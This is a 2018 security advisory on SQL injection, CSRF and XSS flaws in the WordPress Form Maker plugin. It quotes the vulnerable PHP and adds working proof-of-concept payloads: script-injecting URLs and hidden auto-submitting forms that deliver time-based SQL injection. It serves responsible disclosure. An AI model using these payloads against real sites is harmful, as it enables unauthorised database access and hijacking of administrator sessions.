DefenseCode ThunderScan SAST Advisory: WordPress Form Maker Plugin
Multiple Security Vulnerabilities


Advisory ID:    DC-2018-05-001
Advisory Title: WordPress Form Maker Plugin Multiple Vulnerabilities
Advisory URL:   http://www.defensecode.com/advisories.php
Software:       WordPress Form Maker plugin
Language:       PHP
Version:        1.12.24 and below
Vendor Status:  Vendor contacted, update released
Release Date:   2018/06/07
Risk:           High



1. General Overview
===================
During the security audit of Form Maker plugin for WordPress CMS,
multiple vulnerabilities were discovered using DefenseCode ThunderScan
application source code security analysis platform.

More information about ThunderScan is available at URL:
http://www.defensecode.com


2. Software Overview
====================
According to the plugin developers, Form Maker is a power-packed yet
user-friendly form builder plugin, best WordPress form builder plugin
in WordPress Plugin Directory.

According to wordpress.org, it has more than 100 000 active installs.
According to the developer's website, it was downloaded over two
million times. The exact number of "premium" version installs remains
to be determined.

Homepage:
https://wordpress.org/plugins/form-maker/
https://web-dorado.com/products/wordpress-form.html


3. Vulnerability Description
============================
During the security analysis, ThunderScan discovered SQL injection and
Cross-Site Scripting vulnerabilities in Form Maker WordPress plugin.
The SQL injection points are susceptible to Cross Site Request Forgery
(CSRF).

The easiest way to reproduce the SQL injection vulnerabilities is to
open the presented HTML/JavaScript snippet in your browser while being
logged in as administrator or another user that is authorized to
access the plugin settings page. Users that do not have full
administrative privileges could abuse the database access the
vulnerabilities provide to either escalate their privileges or obtain
and modify database contents they were not supposed to be able to.
Since the injection points are also susceptible to CSRF (due to the
improper checking of the nonce token), a valid attack vector is also
to send a link to the administrator that leads to any attacker
controlled web page containing such or similar code snippet.

The Cross-Site Scripting vulnerabilities can enable the attacker to
construct the URL that contains malicious JavaScript code. If the
administrator of the site makes a request to such an URL, the
attacker's code will be executed, with unrestricted access to the
WordPress site in question. The attacker can entice the administrator
to visit the URL in various ways, including sending the URL by email,
posting it as a part of the comment on the vulnerable site or another
forum.

3.1 SQL injection
  Vulnerable Function:  get_results()
  Vulnerable Variable:  $_POST['name']
  Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping&task=db_table_struct
  File:                 form-maker/admin/models/FMSqlMapping.php
  Proof of Concept:     See Appendix #1
  ---------
  81 $name = isset($_POST['name']) ? $_POST['name'] : NULL;
  ...
  87 $query = "SHOW COLUMNS FROM " . $name;
  ...
  94 $table_struct = $wpdb_temp->get_results($query);
  ---------

3.2 SQL injection
  Vulnerable Function:  get_col()
  Vulnerable Variable:  $_REQUEST['search_labels']
  Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=6&send_header=0&action=generete_csv&limitstart=0
  File:                 form-maker/framework/WDW_FM_Library.php
  Proof of Concept:     See Appendix #2
  ---------
  3901 $search_labels = isset($_REQUEST['search_labels']) ?
$_REQUEST['search_labels'] : '';
  ...
  3934 $query = $wpdb->prepare("SELECT distinct group_id FROM " .
$wpdb->prefix . "formmaker_submits where form_id=%d and group_id IN("
. $search_labels . ")", $form_id);
  3935 $group_id_s = $wpdb->get_col($query);
  ---------

3.3 Cross-Site Scripting
  Vulnerable Function:  echo()
  Vulnerable Variable:  $_REQUEST["active_tab"]
  Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=themes_fm&task=edit&active_tab="><script>alert(42)</script>
  File:                 form-maker/admin/views/Themes_fm.php
  ---------
  192 $active_tab = isset($_REQUEST["active_tab"]) &&
$_REQUEST["active_tab"] ? $_REQUEST["active_tab"] : ($row->version ==
1 ? 'custom_css' : 'global');
  ...
  199 <input type="hidden" name="active_tab" id="active_tab"
value="<?php echo $active_tab; ?>" />
  ---------

3.4 Cross-Site Scripting
  Vulnerable Function:  echo()
  Vulnerable Variable:  $_REQUEST["pagination"]
  Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=themes_fm&task=edit&pagination="><script>alert(42)<%2Fscript>
  File:                 form-maker/admin/views/Themes_fm.php
  ---------
  193 $pagination = isset($_REQUEST["pagination"]) ?
$_REQUEST["pagination"] : 'none';
  ...
  308 <div class="pagination-type" ng-init="pagination='<?php echo
$pagination; ?>'">
  ---------


4. Solution
===========
After the vulnerabilities were reported the vendor resolved the
security issues. All users are strongly advised to update WordPress
Form Maker plugin to the latest available version.


5. Credits
==========
Discovered by Neven Biruski using DefenseCode ThunderScan source code
security analyzer.


6. Disclosure Timeline
======================
2018/05/09   Vulnerabilities discovered
2018/05/16   Vendor contacted
2018/05/16   Vendor responded
2018/06/07   Advisory released to the public


7. About DefenseCode
====================
DefenseCode L.L.C. delivers products and services designed to analyze
and test web, desktop and mobile applications for security
vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security
Testing, WhiteBox Testing) solution for performing extensive security
audits of application source code. ThunderScan SAST performs fast and
accurate analyses of large and complex source code projects delivering
precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security
Testing, BlackBox Testing) solution for comprehensive security audits
of active web applications. WebScanner will test a website's security
by carrying out a large number of attacks using the most advanced
techniques, just as a real attacker would.

Subscribe for free software trial on our website
http://www.defensecode.com/ .

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/


8. Appendix #1 - SQLi PoC snippet
=================================
 <iframe style="display:none" name="invisible"></iframe>
 <form id="form" method="POST"
action="http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping&task=db_table_struct"
target="invisible">
         <input type="hidden" name="name" value="wp_users WHERE 42=42
AND SLEEP(42)--;"/>
 </form>
 <script>
         document.getElementById("form").submit();
         sleep(3000);
 </script>


9. Appendix #2 - SQLi PoC snippet
=================================
 <iframe style="display:none" name="invisible"></iframe>
 <form id="form" method="POST"
action="http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=6&send_header=0&action=generete_csv&limitstart=0"
target="invisible">
         <input type="hidden" name="search_labels" value="2) AND
(SELECT * FROM (SELECT(SLEEP(42)))XXX)-- XXX"/>
 </form>
 <script>
         document.getElementById("form").submit();
         sleep(3000);
 </script>